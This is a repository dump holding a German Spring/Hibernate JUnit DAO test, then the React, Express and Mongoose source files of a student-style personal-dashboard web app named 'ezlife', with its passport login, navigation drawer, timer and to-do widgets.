javax.validation.ConstraintViolationException; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.test.context.junit4.SpringRunner; import nrw.bieker.resthibernatetutorial.entity.MeineErsteEntitaet; import nrw.bieker.resthibernatetutorial.entity.MeineErsteEntitaetDAO; @RunWith(SpringRunner.class) @SpringBootTest public class MeineErsteEntitaetDAOTest { @Autowired private MeineErsteEntitaetDAO dao; /** * 1. MeineErsteEntitaet anlegen * 2. Alle Objekte aus der Datenbank holen * 3. Prüfen, dass die Entität korrekt angelegt wurde * @throws Exception */ @Test public void simplerDAOTest() throws Exception { // Kein Element in der Datenbank List<MeineErsteEntitaet> alleEntitaeten = pruefeKeineEntitaetAngelegt(); // Element anlegen MeineErsteEntitaet e = new MeineErsteEntitaet(); e.setEinDatenfeld("Das ist ein Test"); dao.create(e); alleEntitaeten = pruefeEineEntitaetAngelegt(); // In der Enitität wurde der richtige Inhalt abgelegt String inhalt = alleEntitaeten.get(0).getEinDatenfeld(); assertEquals("Das ist ein Test", inhalt); } @Test public void testConstraints() throws Exception { // Test anlegen leeres Feld try { MeineErsteEntitaet e = new MeineErsteEntitaet(); //e.setEinDatenfeld("Das ist ein Test."); dao.create(e); } catch(ConstraintViolationException e) { Iterator<ConstraintViolation<?>> iter = e.getConstraintViolations().iterator(); while(iter.hasNext()) { ConstraintViolation<?> constraint = iter.next(); assertTrue("MeineErsteEntitaet.einDatenfeld:NOTEMPTY".equals(constraint.getMessage()) ^ ("MeineErsteEntitaet.einDatenfeld:NOTNULL".equals(constraint.getMessage()))); } pruefeKeineEntitaetAngelegt(); //System.out.println(e.getConstraintViolations().iterator().next().getMessage()); } // Test anlegen 16 Zeichen Max Rule try { MeineErsteEntitaet e = new MeineErsteEntitaet(); e.setEinDatenfeld("12345678123456789"); dao.create(e); } catch(ConstraintViolationException e) { assertEquals(1,e.getConstraintViolations().size()); assertEquals("MeineErsteEntitaet.einDatenfeld:LENGTH", e.getConstraintViolations().iterator().next().getMessage()); pruefeKeineEntitaetAngelegt(); //System.out.println(e.getConstraintViolations().iterator().next().getMessage()); } try { MeineErsteEntitaet e = new MeineErsteEntitaet(); e.setEinDatenfeld(""); dao.create(e); } catch(ConstraintViolationException e) { assertEquals(1,e.getConstraintViolations().size()); assertEquals("MeineErsteEntitaet.einDatenfeld:NOTEMPTY", e.getConstraintViolations().iterator().next().getMessage()); pruefeKeineEntitaetAngelegt(); } } private List<MeineErsteEntitaet> pruefeKeineEntitaetAngelegt() { List<MeineErsteEntitaet> alleEntitaeten = dao.findAll(); assertEquals(0, alleEntitaeten.size()); return alleEntitaeten; } private List<MeineErsteEntitaet> pruefeEineEntitaetAngelegt() { List<MeineErsteEntitaet> alleEntitaeten = dao.findAll(); assertEquals(1, alleEntitaeten.size()); return alleEntitaeten; } }
450d6c96d6f0162d88bf3ad6627ea7cbaa4ac417
[ "Java", "SQL", "INI" ]
6
INI
JoBieker/rest-hibernate-tutorial
28bb7ac69b1ebb9084de23978f145d9e65da3c7d
39662d7669858d31242ab4d2dc6759463efd0383
refs/heads/main
<file_sep>import { useDispatch } from 'react-redux'; import { Avatar, Button, Paper, Grid, Typography, Container, TextField } from '@material-ui/core'; import { useHistory } from 'react-router-dom'; import { GoogleLogin } from 'react-google-login'; import LockOutlinedIcon from '@material-ui/icons/LockOutlined'; import ThemeContext from '../Context.js' import axios from 'axios'; import React, { useEffect, useState } from 'react'; import Auth from "../utils/Auth"; import { useLocation } from "react-router"; import { UserContext } from "../utils/UserContext"; import Icon from './icon'; import Input from './Input'; import useStyles from './styles'; const SignUp = (props) => { const history = useHistory(); const classes = useStyles(); let location = useLocation(); const { createContext, useContext, useState } = React; const [redirectToReferrer, setRedirectToReferrer] = useState(false); const [isSignup, setIsSignup] = useState(false); const [showPassword, setShowPassword] = useState(false); const handleShowPassword = () => setShowPassword((prevShowPassword) => !prevShowPassword); //this useeffect runs constantly and wont redirect until the state of redirectToReferrer is set to true useEffect(() => { const { from } = location.state || { from: { pathname: '/dash' } } if (redirectToReferrer) { history.push(from) } }, [redirectToReferrer, history, location.state]) const [items, setItems] = useState({ fullName: '', userName: '', email: '', password: '' }); const handleChange = (e) => { const { name, value } = e.target; setItems({ ...items, [name]: value, }); } const handleSubmit = (e) => { e.preventDefault(); const registerNewUser = { fullName: items.fullName, username: items.userName, email: items.email, password: <PASSWORD>, } const registeredUser = { username: items.userName, password: <PASSWORD>, } if (isSignup) { console.log((registerNewUser)); fetch('api/users/register', { method: 'POST', body: JSON.stringify(registerNewUser), headers: { 'Content-Type': 'application/json' }, credentials: 'include' }) .then((response) => { if (response.status === 200) { console.log('Succesfully registered user!', response); //relocate to the login page console.log('Logging in ' + JSON.stringify(registeredUser)); fetch('api/users/login', { method: 'POST', body: JSON.stringify(registeredUser), credentials: 'include', headers: { 'Content-Type': 'application/json' }, }) .then((response) => { if (response.status === 200) { //All good console.log('response from login', response); Auth.authenticate(() => { //Update the boolean and take off the cuffs setRedirectToReferrer(true) console.log(`Response in login (Authenticate) ${(response)}`, response); // history.push("/protected") }); } }) .catch((err) => {// No beuno, kick them console.log('Error logging in.', err); }); } }) .catch((err) => { console.log('Error registering user.', err); }); } else { console.log('Logging in ' + JSON.stringify(registeredUser)); fetch('api/users/login', { method: 'POST', body: JSON.stringify(registeredUser), credentials: 'include', headers: { 'Content-Type': 'application/json' }, }) .then((response) => { if (response.status === 200) { //All good Auth.authenticate(() => { //Update the boolean and take off the cuffs setRedirectToReferrer(true) console.log(`Response in login ${JSON.stringify(response)}`); }); } }) .catch((err) => {// No beuno, kick them console.log('Error logging in.', err); }); } } const switchMode = () => { setIsSignup((prevIsSignup) => !prevIsSignup) handleShowPassword(false) }; const googleSuccess = async (res) => { console.log(res); // const result = res?.profile.Obj; //?. gives me undefined instead of an error // const token = res?.tokenId; try { } catch (error) { console.log(error); } } const googleFailure = (error) => { console.log(error); console.log("Google Sign In was unsuccessful. Try Again Later"); } return ( <Container component="main" maxWidth="xs"> <Paper className={classes.paper} elevation={3}> <Avatar className={classes.avatar}> <LockOutlinedIcon /> </Avatar> <Typography variant="h5">{isSignup ? 'Sign Up' : 'Sign In'}</Typography> <form className={classes.form} onSubmit={handleSubmit}> <Grid container spacing={2}> { isSignup && ( <> <Input name="fullName" label="Full Name" handleChange={handleChange} /> <Input name="email" label="Email" handleChange={handleChange} type="email" /> </> ) } <Input name="userName" label="Username" handleChange={handleChange} type="username" /> <Input name="password" label="<PASSWORD>" handleChange={handleChange} type={showPassword ? "text" : "<PASSWORD>"} handleShowPassword={handleShowPassword} /> <Button type="submit" fullWidth variant="contained" color="primary" className={classes.submit}> {isSignup ? 'Sign Up' : 'Sign In'} </Button> <GoogleLogin clientId="159311272164-001m14bpa0un3clpoc60e26r838d9up6.apps.googleusercontent.com" render={(renderProps) => ( <Button className={classes.googleButton} color="primary" fullWidth onClick={renderProps.onClick} startIcon={<Icon />} variant="contained"> Google Sign In </Button> )} onSuccess={googleSuccess} onFailure={googleFailure} cookiePolicy="single_host_origin" /> </Grid> <Grid container justify="flex-end"> <Grid item > <Button onClick={switchMode}> {isSignup ? 'Already have an account? Sign In' : "Don't have an account? Sign Up"} </Button> </Grid> </Grid> </form> </Paper> </Container> ); }; export default SignUp;<file_sep>const Account = require("../models/account"); const passport = require('passport'); module.exports = { update: function (req, res) { console.log(req.session.passport, 'user being passed to updateUser'); const { user } = req.session.passport console.log('req. body in the update!!!!!!', req.body) console.log(user, 'user value'); if (user) { Account.findOneAndUpdate({username: user}, {$set: {Water: req.body.Water, ToDos: req.body.ToDos, Clock: req.body.Clock, Fitness: req.body.Fitness, Goals: req.body.Goals, firstTime: false } }, {new: true}, (err, userData) => { if (err) { console.log("Something wrong when updating data!"); } console.log(userData, "userdata after update"); return res.status(200).json(userData) }) } else { return res.status(401).json({ error: 'User is not authenticated', authenticated: false }); } }, getUser: function (req, res) { console.log(req.session.passport, 'user being passed to getUser'); const { user } = req.session.passport console.log(user, 'user value'); if (user) { Account.findOne({ username: user }) .then(userData => { console.log(userData, "userdata"); const { _id, username } = userData; userData.authenticated = true; return res.status(200).json(userData) }) } else { return res.status(401).json({ error: 'User is not authenticated', authenticated: false }); } }, register: function (req, res, next) { console.log('/register handler', req.body); //username: req.body.username Account.register(new Account(req.body), req.body.password, (err, account) => { if (err) { return res.status(500).send({ error: err.message }); } passport.authenticate('local')(req, res, () => { req.session.save((err) => { if (err) { //ToDo:log the error and look for an existing user return next(err); } console.log('THi si the account we just made', account) res.json(account); }); }); }); }, login: function (req, res, next) { console.log('/login handler'); if (!req.session.passport.user) { return false; } req.session.save((err) => { if (err) { return next(err); } console.log(`User at login ${req.user.username}`); res.status(200).json({ test: " testvalue" }); }); }, logout: function (req, res, next) { req.logout(); req.session.save((err) => { if (err) { return next(err); } res.status(200).send('OK'); }); }, test: function (req, res, next) { console.log(`Ping Dinger ${req.statusCode}`); res.status(200).send("Dong!"); } };<file_sep>import React, { useState, useContext, useEffect } from "react"; import Drawer from '../components/Drawer'; import background from '../images/bubble.svg'; import Hero from '../components/Hero'; import { UserContext } from "../utils/UserContext"; import { useHistory } from 'react-router-dom'; function Budget () { const history = useHistory(); const [user, dispatch] = useContext(UserContext) console.log(user, 'should be user from log in') console.log(user.firstTime); const [modal, setModal] = useState(false); useEffect(() => { fetch('api/users/user', { credentials: 'include' }) .then((res) => { console.log(`response to authenticate ${res}`); return res.json(res) }) .then(data => { console.log(data, 'user DATA'); dispatch({ type: "GET_USER", payload: data }) }) .catch((err) => { alert("Could not detect current user"); history.push("/") console.log('Error fetching authorized user.'); }); }, []); const getStarted = (e) => { e.preventDefault(); setModal(!modal) } return ( <> <Drawer getStarted={getStarted} /> <Hero backgroundImage= {background}> <h1 style={{color: "green"}}>BUDGET</h1> <h2 style={{color: "white"}}> This page allows the user to input credits and debits to their finances to see a better idea of their habits.</h2> </Hero> </> ) } export default Budget; <file_sep>import React, { useState } from 'react'; import { Button, Modal, ModalHeader, ModalBody, ModalFooter } from 'reactstrap'; import CreateAccount from "./CreateAccount"; import Auth from '../Auth/Auth'; // import Pops from "../components/Popovers"; const ModalSignUp = (props) => { const { buttonLabel, className } = props; const [modal, setModal] = useState(false); const toggle = () => setModal(!modal); console.log('PROPS IN THE MODAL SIGN UP', props) return ( <div> <Button style={{backgroundColor: "#ffd54f", color: "black", size: "large", fontFamily: "Chalkboard"}} onClick={toggle}>get started!</Button> <Modal isOpen={modal} toggle={toggle} className={className}> <ModalHeader toggle={toggle} style={{backgroundColor: "#ffeb3b"}}>Create an account to simplify your life! </ModalHeader> <ModalBody> <Auth updateUser = {props.updateUser}/> </ModalBody> {/* <ModalFooter> */} {/* <Button color="primary" onClick={toggle}>Select</Button>{' '} */} {/* </ModalFooter> */} </Modal> </div> ); } export default ModalSignUp;<file_sep>import axios from 'axios'; const url = 'http://localhost:5000/users'; <file_sep>import React, {useState, useEffect, useContext} from "react"; import { UserContext } from "../utils/UserContext"; import Drawer from '../components/Drawer'; import Calendar from "../components/Scheduler"; import { useHistory } from 'react-router-dom'; function ToDo () { const history = useHistory(); const [user, dispatch] = useContext(UserContext) console.log(user, 'should be user from log in') console.log(user.firstTime); const [modal, setModal] = useState(false); useEffect(() => { fetch('api/users/user', { credentials: 'include' }) .then((res) => { console.log(`response to authenticate ${res}`); return res.json(res) }) .then(data => { console.log(data, 'user DATA'); dispatch({ type: "GET_USER", payload: data }) }) .catch((err) => { alert("Could not detect current user"); history.push("/") console.log('Error fetching authorized user.'); }); }, []); const getStarted = (e) => { e.preventDefault(); setModal(!modal) } return ( <> <Drawer getStarted={getStarted}/> <Calendar/> </> ) } export default ToDo; <file_sep>import React from 'react'; import PlayArrowIcon from '@material-ui/icons/PlayArrow'; import PauseIcon from '@material-ui/icons/Pause'; import ReplayIcon from '@material-ui/icons/Replay'; import './Timer.css'; class Timer extends React.Component { constructor(props) { super(props) this.state = { time: 0, isOn: false, start: 0 } this.startTimer = this.startTimer.bind(this) this.stopTimer = this.stopTimer.bind(this) this.resetTimer = this.resetTimer.bind(this) } startTimer() { this.setState({ isOn: true, time: this.state.time, start: Date.now() - this.state.time }) this.timer = setInterval(() => this.setState({ time: Date.now() - this.state.start }), 10); } stopTimer() { this.setState({ isOn: false }) clearInterval(this.timer) } resetTimer() { this.setState({ time: 0, isOn: false }) } render() { const { time } = this.state; let centiseconds = ("0" + (Math.floor(time / 10) % 100)).slice(-2); let seconds = ("0" + (Math.floor(time / 1000) % 60)).slice(-2); let minutes = ("0" + (Math.floor(time / 60000) % 60)).slice(-2); let hours = ("0" + Math.floor(time / 3600000)).slice(-2); let start = (this.state.time === 0) ? <PlayArrowIcon onClick={this.startTimer}>start</PlayArrowIcon> : null let stop = (this.state.time === 0 || !this.state.isOn) ? null : <PauseIcon onClick={this.stopTimer}>stop</PauseIcon> let resume = (this.state.time === 0 || this.state.isOn) ? null : <PlayArrowIcon onClick={this.startTimer}>resume</PlayArrowIcon> let reset = (this.state.time === 0 || this.state.isOn) ? null : <ReplayIcon onClick={this.resetTimer}>reset</ReplayIcon> return ( <div id="time" style={{boxShadow: "0 1px 5px rgba(0,0,0,0.30), 0 1px 5px rgba(0,0,0,0.22)"}} > <div class="insideCircle"> <h3>Timer:</h3> <div className="Stopwatch-display"> {hours} : {minutes} : {seconds} : {centiseconds} </div> {start} {resume} {stop} {reset} </div> </div> ) } } export default Timer<file_sep>import React, { useEffect } from "react"; import { BrowserRouter as Router, Route, useHistory } from "react-router-dom"; //import './App.css'; import Wrapper from "./components/Wrapper"; import Drawer from "./components/Drawer"; import Landing from './Pages/Landing'; import Dash from "./Pages/Dash"; import axios from 'axios'; import ToDo from './Pages/ToDoPage' import ThemeContext from './Context.js' import CreateAccount from './components/CreateAccount'; import Login from './components/Login'; import TimerPage from "./Pages/Timer"; import Fitness from "./Pages/Fitness"; import Goals from "./Pages/Goals"; import Screentime from "./Pages/Screentime"; import Budget from "./Pages/Budget"; import UserWidgetSelect from "./components/UserWidgetSelect/UserWidgetSelect"; import { UserProvider } from "./utils/UserContext"; const { createContext, useContext, useState, } = React; function App() { const history = useHistory(); const [userState, setUserState] = useState({ id: '', todos: false, goals: false }) const updateUser = (userLoggedIn) => { console.log('About to update user IN THE APP FILE!!!', userLoggedIn.result.email) setUserState(userLoggedIn) console.log('IN APP FILE ABOUT OT CHANE ROUTE!!!!') history.push("/dash"); // localStorage.setItem("email", userLoggedIn.result.email); } const updateUserOnRefresh = () => { const user = localStorage.getItem("email"); const userEmail = { email: user } console.log("setting email from app on load", userEmail); axios.post('http://localhost:5000/api/get', userEmail) .then((response) => { console.log(response.data, "onload useeffect that should be working"); setUserState(response.data); }) .catch((err) => err.message); } // useEffect(() => { // updateUserOnRefresh(); // }, []); return ( <ThemeContext.Provider value={{ userState, updateUser }} > <UserProvider> <Router> <div> <Wrapper> <Route exact path="/" component={Landing} /> <Route exact path="/dash" component={Dash} /> <Route exact path="/signUp" render={ () => <CreateAccount updateUser = {updateUser} />} /> <Route exact path="/Login" component={Login} /> <Route path="/timer" component={TimerPage} /> <Route path="/fitness" component={Fitness} /> <Route path="/goals" component={Goals} /> <Route path="/screentime" component={Screentime} /> <Route path="/budget" component={Budget} /> <Route path="/UserWidgetSelect" component={UserWidgetSelect} /> <Route path="/todo" component={ToDo} /> </Wrapper> </div> </Router> </UserProvider> </ThemeContext.Provider> ); } export default App; <file_sep>const express = require('express'); const mongoose = require('mongoose'); const bodyParser = require('body-parser'); const cors = require('cors'); const dotenv = require('dotenv'); const path = require('path'); const { fileURLToPath } = require('url'); const routes = require('./routes/index.js'); /* === Dependencies === */ const logger = require('morgan'); const cookieParser = require('cookie-parser'); const passport = require('passport'); const passportLocal = require('passport-local'); const LocalStrategy = passportLocal.Strategy; const flash = require('connect-flash'); const session = require('express-session'); const app = express(); dotenv.config(); /* === Middleware === */ app.use(logger('dev')); app.use(express.urlencoded({ extended: true })); app.use(express.json()); app.use(bodyParser.urlencoded({ extended: true })); app.use(bodyParser.json()); app.use(cookieParser()); app.use(session({ secret: 'keyboard cat', resave: false, saveUninitialized: false })); app.use(passport.initialize()); app.use(flash()); //middleware for frontend app.use(express.static(__dirname + '/client/build')); //middle for mongoose app.use(bodyParser.json({ limit: "30mb", extended: true })); app.use(bodyParser.urlencoded({ limit: "30mb", extended: true })); app.use(cors()); /* === Server-Side Authentication w/passport.js on our Model === */ const Account = require('./models/account.js'); passport.use(new LocalStrategy(Account.authenticate())); passport.serializeUser(Account.serializeUser()); passport.deserializeUser(Account.deserializeUser()); //middleware fo all routes coming in app.use(routes); app.get('*', (req, res) => res.sendFile(path.resolve(__dirname, 'client', 'build', 'index.html')) ); const PORT = process.env.PORT || 5000; //db connection mongoose.connect(process.env.MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true }) .then(() => app.listen(PORT, () => console.log(`Server listening on port: ${PORT}`))) .catch((error) => console.log(error.message)); mongoose.set('useFindAndModify', false);<file_sep>import React, { useState } from 'react'; import { Button, Modal, ModalHeader, ModalBody, ModalFooter } from 'reactstrap'; // import Pops from "../components/Popovers"; const ModalStart = (props) => { const { buttonLabel, className } = props; const [modal, setModal] = useState(false); const toggle = () => setModal(!modal); return ( <div> <Button color="danger" onClick={toggle}>{buttonLabel}</Button> <Modal isOpen={modal} toggle={toggle} className={className}> <ModalHeader toggle={toggle}>Modal title</ModalHeader> <ModalBody> </ModalBody> <ModalFooter> <Button color="primary" onClick={toggle}>Select</Button>{' '} </ModalFooter> </Modal> </div> ); } export default ModalStart;<file_sep>import React from "react"; import background from "../images/img.jpg"; import Quote from "./Quote"; function Jumbotron() { return ( <div className="container justify ='center' " style={{ // width: "1700px", // paddingTop: "0px", // paddingBottom: "0px", marginBottom: "20px", // height: "190px", overflow: "auto", backgroundImage: `url(${background})`, }} > <div> <br></br> <br></br> <Quote /> </div> </div> ) } export default Jumbotron; <file_sep>import React from 'react'; import ToDoItem from './ToDoItem'; import AddCircleOutlineIcon from '@material-ui/icons/AddCircleOutline'; import "./Todo.css"; class ToDoList extends React.Component { constructor(props) { super(props); this.state = { items: [], currentItem: { text: '', key: '' } } this.addItem = this.addItem.bind(this); this.handleInput = this.handleInput.bind(this); this.deleteItem = this.deleteItem.bind(this); } addItem(e){ e.preventDefault(); const newItem = this.state.currentItem; if(newItem.text !==""){ const items = [...this.state.items, newItem]; this.setState({ items: items, currentItem:{ text:'', key:'' } }) } } handleInput(e){ this.setState({ currentItem:{ text: e.target.value, key: Date.now() } }) } deleteItem(key){ const filteredItems= this.state.items.filter(item => item.key!==key); this.setState({ items: filteredItems }) } render(){ return ( <div className="ToDoList"> <h4 text align = "center">To-Do List</h4> <header> <form id="to-do-form" onSubmit={this.addItem}> <input className type="text" placeholder="To-Do's" value={this.state.currentItem.text} name="toDo" onChange={this.handleInput} /> <AddCircleOutlineIcon style={{ color: "grey" }} type="submit" onClick={this.addItem} >Add</AddCircleOutlineIcon> </form> <p>{this.state.items.text}</p> <ToDoItem items={this.state.items} deleteItem={this.deleteItem}/> </header> </div> ); } } export default ToDoList<file_sep>import React from "react"; const { createContext, useContext, useState } = React; const ThemeContext = createContext(null); export default ThemeContext<file_sep>import React from "react"; import Hero from "../components/Hero"; import Container from "../components/Container"; import Row from "../components/Row"; import Col from "../components/Col"; import background from "../images/background1.png"; import ModalSignUp from "../components/modalSignUp"; function Landing(props) { console.log('PROPS IN TH LADNIGN!!', props) return ( <div> <Hero backgroundImage= {background}> </Hero> <div > <Container style={{ marginTop: 20, textAlign: "center",}}> {/* <Row> <Col size="md-12"> <h1>Welcome!</h1> </Col> </Row> */} <Row> <Col size="md-12"> <ModalSignUp updateUser={props.updateUser}/> </Col> </Row> </Container> </div> </div> ); } export default Landing; <file_sep>import React from 'react'; import clsx from 'clsx'; import ThemeContext from '../Context.js' import { useHistory } from 'react-router-dom'; import { makeStyles, useTheme } from '@material-ui/core/styles'; import Drawer from '@material-ui/core/Drawer'; import CssBaseline from '@material-ui/core/CssBaseline'; import AppBar from '@material-ui/core/AppBar'; import Toolbar from '@material-ui/core/Toolbar'; import Link from '@material-ui/core/Link'; import List from '@material-ui/core/List'; import Typography from '@material-ui/core/Typography'; import Divider from '@material-ui/core/Divider'; import IconButton from '@material-ui/core/IconButton'; import MenuIcon from '@material-ui/icons/Menu'; import ChevronLeftIcon from '@material-ui/icons/ChevronLeft'; import ChevronRightIcon from '@material-ui/icons/ChevronRight'; import ListItem from '@material-ui/core/ListItem'; import ListItemIcon from '@material-ui/core/ListItemIcon'; import ListItemText from '@material-ui/core/ListItemText'; import AccessAlarmIcon from '@material-ui/icons/AccessAlarm'; import AddIcon from '@material-ui/icons/Add'; import LocalDrinkIcon from '@material-ui/icons/LocalDrink'; import FormatListBulletedIcon from '@material-ui/icons/FormatListBulleted'; import FitnessCenterIcon from '@material-ui/icons/FitnessCenter'; import StarsIcon from '@material-ui/icons/Stars'; import ImportantDevicesIcon from '@material-ui/icons/ImportantDevices'; import AttachMoneyIcon from '@material-ui/icons/AttachMoney'; import FavoriteBorderIcon from '@material-ui/icons/FavoriteBorder'; import Grid from '@material-ui/core/Grid' import { Button } from 'reactstrap'; import Auth from "../utils/Auth"; import { UserContext } from "../utils/UserContext"; const { useContext, useState, useEffect } = React; const drawerWidth = 240; const useStyles = makeStyles((theme) => ({ root: { display: 'flex', }, appBar: { transition: theme.transitions.create(['margin', 'width'], { easing: theme.transitions.easing.sharp, duration: theme.transitions.duration.leavingScreen, }), }, appBarShift: { width: `calc(100% - ${drawerWidth}px)`, marginLeft: drawerWidth, transition: theme.transitions.create(['margin', 'width'], { easing: theme.transitions.easing.easeOut, duration: theme.transitions.duration.enteringScreen, }), }, menuButton: { marginRight: theme.spacing(2), }, hide: { display: 'none', }, drawer: { width: drawerWidth, flexShrink: 0, }, drawerPaper: { width: drawerWidth, }, drawerHeader: { display: 'flex', alignItems: 'center', padding: theme.spacing(0, 1), // necessary for content to be below app bar ...theme.mixins.toolbar, justifyContent: 'flex-end', }, content: { flexGrow: 1, padding: theme.spacing(0), transition: theme.transitions.create('margin', { easing: theme.transitions.easing.sharp, duration: theme.transitions.duration.leavingScreen, }), marginLeft: -drawerWidth, }, contentShift: { transition: theme.transitions.create('margin', { easing: theme.transitions.easing.easeOut, duration: theme.transitions.duration.enteringScreen, }), marginLeft: 0, }, })); export default function PersistentDrawerLeft(props) { const history = useHistory(); const classes = useStyles(); const theme = useTheme(); const [open, setOpen] = React.useState(false); const [user, dispatch] = useContext(UserContext); console.log(user, 'should be user from log in') const Clock = user.Clock; const ToDos = user.ToDos; const Fitness = user.Fitness; const Goals = user.Goals; const Water = user.Water; const handleDrawerOpen = () => { setOpen(true); }; const handleDrawerClose = () => { setOpen(false); }; const handleClick = (e) => { e.preventDefault(); Auth.signout(() => history.push('/')) dispatch({ type: "GET_USER", payload: {} }) } return ( <div className={classes.root} > <CssBaseline /> <AppBar position="fixed" className={clsx(classes.appBar, { [classes.appBarShift]: open, })} > <Toolbar style={{ backgroundColor: "#111d61"}}> <IconButton color="white" aria-label="open drawer" onClick={handleDrawerOpen} edge="start" className={clsx(classes.menuButton, open && classes.hide)} > <MenuIcon style={{ color: "white" }} /> </IconButton> <Typography variant="h6" noWrap> <IconButton aria-label="list" > <Link href="/dash"> <FavoriteBorderIcon style={{ color: "#ffd54f" }} /></Link> </IconButton> ezlife </Typography> <AccessAlarmIcon style= {{position: "absolute", right: 0, marginRight: "200px", color: "#F1DD51"}}></AccessAlarmIcon> <IconButton onClick={props.getStarted} edge='end' style={{ position: "absolute", right: 0, marginRight: "10px", color: "white" }}> <AddIcon/> </IconButton> </Toolbar> </AppBar> <Drawer className={classes.drawer} variant="persistent" anchor="left" open={open} classes={{ paper: classes.drawerPaper, }} > <div className={classes.drawerHeader}> <IconButton onClick={handleDrawerClose}> {theme.direction === 'ltr' ? <ChevronLeftIcon /> : <ChevronRightIcon />} </IconButton> </div> <Divider /> {Clock ? (<List component="nav" aria-label="pages"> {[{ text: 'Timer', url: "/timer", icon: <AccessAlarmIcon /> }, ].map((item, index) => ( <Link href={item.url}> <ListItem button key={item.text}> {/* <ListItemIcon>{index % 2 === 0 ? < AccessAlarmIcon/> : <FormatListBulletedIcon/>}</ListItemIcon> */} <ListItemIcon>{item.icon}</ListItemIcon> <ListItemText primary={item.text} /> </ListItem> </Link> ))} </List>) : (null)} {ToDos ? (<List component="nav" aria-label="pages"> {[{ text: 'To-do', url: "/todo", icon: <FormatListBulletedIcon /> },].map((item, index) => ( <Link href={item.url}> <ListItem button key={item.text}> {/* <ListItemIcon>{index % 2 === 0 ? < AccessAlarmIcon/> : <FormatListBulletedIcon/>}</ListItemIcon> */} <ListItemIcon>{item.icon}</ListItemIcon> <ListItemText primary={item.text} /> </ListItem> </Link> ))} </List>) : (null)} {Fitness ? (<List component="nav" aria-label="pages2"> {[{ text: 'Workouts', url: '/fitness', icon: <FitnessCenterIcon /> },].map((item, index) => ( <Link href={item.url}> <ListItem button key={item.text}> {/* <ListItemIcon>{index % 2 === 0 ? <FitnessCenterIcon/> : <StarsIcon/> }</ListItemIcon> */} <ListItemIcon>{item.icon}</ListItemIcon> <ListItemText primary={item.text} /> </ListItem> </Link> ))} </List>) : (null)} {Goals ? (<List component="nav" aria-label="pages2"> {[{ text: 'Goals', url: '/goals', icon: <StarsIcon /> }].map((item, index) => ( <Link href={item.url}> <ListItem button key={item.text}> {/* <ListItemIcon>{index % 2 === 0 ? <FitnessCenterIcon/> : <StarsIcon/> }</ListItemIcon> */} <ListItemIcon>{item.icon}</ListItemIcon> <ListItemText primary={item.text} /> </ListItem> </Link> ))} </List>) : (null)} {Water ? (<List component="nav" aria-label="pages2"> {[{ text: 'Water', url: '/water', icon: <LocalDrinkIcon /> }].map((item, index) => ( <Link href={item.url}> <ListItem button key={item.text}> {/* <ListItemIcon>{index % 2 === 0 ? <FitnessCenterIcon/> : <StarsIcon/> }</ListItemIcon> */} <ListItemIcon>{item.icon}</ListItemIcon> <ListItemText primary={item.text} /> </ListItem> </Link> ))} </List>) : (null)} <Divider /> <List component="nav" aria-label="pages3"> {[{ text: 'Screentime', url: '/screentime', icon: <ImportantDevicesIcon /> }].map((item, index) => ( <Link href={item.url}> <ListItem button key={item.text}> {/* <ListItemIcon>{index % 2 === 0 ? <ImportantDevicesIcon/> : <AttachMoneyIcon />}</ListItemIcon> */} <ListItemIcon>{item.icon}</ListItemIcon> <ListItemText primary={item.text} /> </ListItem> </Link> ))} </List> <List component="nav" aria-label="pages3"> {[{ text: 'Budget', url: '/budget', icon: <AttachMoneyIcon /> }].map((item, index) => ( <Link href={item.url}> <ListItem button key={item.text}> {/* <ListItemIcon>{index % 2 === 0 ? <ImportantDevicesIcon/> : <AttachMoneyIcon />}</ListItemIcon> */} <ListItemIcon>{item.icon}</ListItemIcon> <ListItemText primary={item.text} /> </ListItem> </Link> ))} <ListItem button onClick={handleClick} styles={"position: fixed bottom: 0 textAlign: center paddingBottom: 1"}> <Typography>Sign Out</Typography> </ListItem> </List> </Drawer> <main className={clsx(classes.content, { [classes.contentShift]: open, })} > <div className={classes.drawerHeader} /> </main> </div > ); } <file_sep>const mongoose = require('mongoose'); const passportLocalMongoose = require('passport-local-mongoose'); const Account = new mongoose.Schema({ username: String, password: <PASSWORD>, fullName: { type: String, required: false }, email: { type: String, required: false }, date: { type: Date, default: Date.now }, firstTime: { type: Boolean, default: true }, ToDos: { type: Boolean, default: false, }, Water: { type: Boolean, default: false, }, Clock: { type: Boolean, default: false, }, Fitness: { type: Boolean, default: false, }, Goals: { type: Boolean, default: false, }, }); Account.plugin(passportLocalMongoose); const model = mongoose.model('accounts', Account); module.exports = model;<file_sep>import { TextField, Grid, Button, Typography, Link, Container, CssBaseline, Avatar, FormControlLabel, Box, Checkbox } from '@material-ui/core' import { useState } from 'react'; import axios from 'axios'; import LockOutlinedIcon from '@material-ui/icons/LockOutlined'; import Copyright from './Copyright'; function CreateAccount() { // eslint-disable-next-line react-hooks/rules-of-hooks const [items, setItems] = useState({ fullName: '', userName: '', email: '', password: '' }); const handleState = (e) => { const { name, value } = e.target; setItems({ ...items, [name]: value, }); } const handleSubmit = (e) => { e.preventDefault(); const registeredUser = { fullName: items.fullName, userName: items.userName, email: items.email, password: <PASSWORD>, } console.log(registeredUser); axios.post('http://localhost:5000/api/signup', registeredUser) .then((response) => { console.log(response.data) }) .catch((err) => err.message); } return ( <> <Container component="main" maxWidth="xs"> <CssBaseline /> <div > <Avatar > <LockOutlinedIcon /> </Avatar> <Typography component="h1" variant="h5"> Sign Up </Typography> <form noValidate> <TextField variant="outlined" margin="normal" required fullWidth id="fullName" label="Full Name" name="fullName" autoComplete="fullName" autoFocus onChange={handleState} /> <TextField variant="outlined" margin="normal" required fullWidth id="userName" label="Username" name="userName" autoComplete="userName" autoFocus onChange={handleState} /> <TextField variant="outlined" margin="normal" required fullWidth id="email" label="Email Address" name="email" autoComplete="email" autoFocus onChange={handleState} /> <TextField variant="outlined" margin="normal" required fullWidth name="password" label="Password" type="password" id="password" autoComplete="current-password" onChange={handleState} /> <FormControlLabel control={<Checkbox value="remember" color="primary" />} label="Remember me" /> <Button type="submit" fullWidth variant="contained" color="primary" onClick={handleSubmit} > Sign Up </Button> <Grid container> <Grid item xs> <Link href="#" variant="body2"> Forgot password? </Link> </Grid> <Grid item> <Link href="#" variant="body2"> {"Have an account? Sign In"} </Link> </Grid> </Grid> </form> </div> <Box mt={8}> <Copyright /> </Box> </Container> </> ); } export default CreateAccount;<file_sep>## Project Name: *ezlife* ## Link to Live Application https://ezlife-17.herokuapp.com/ ## Table of Contents * [Purpose/Vision](#purpose/vision) * [Code 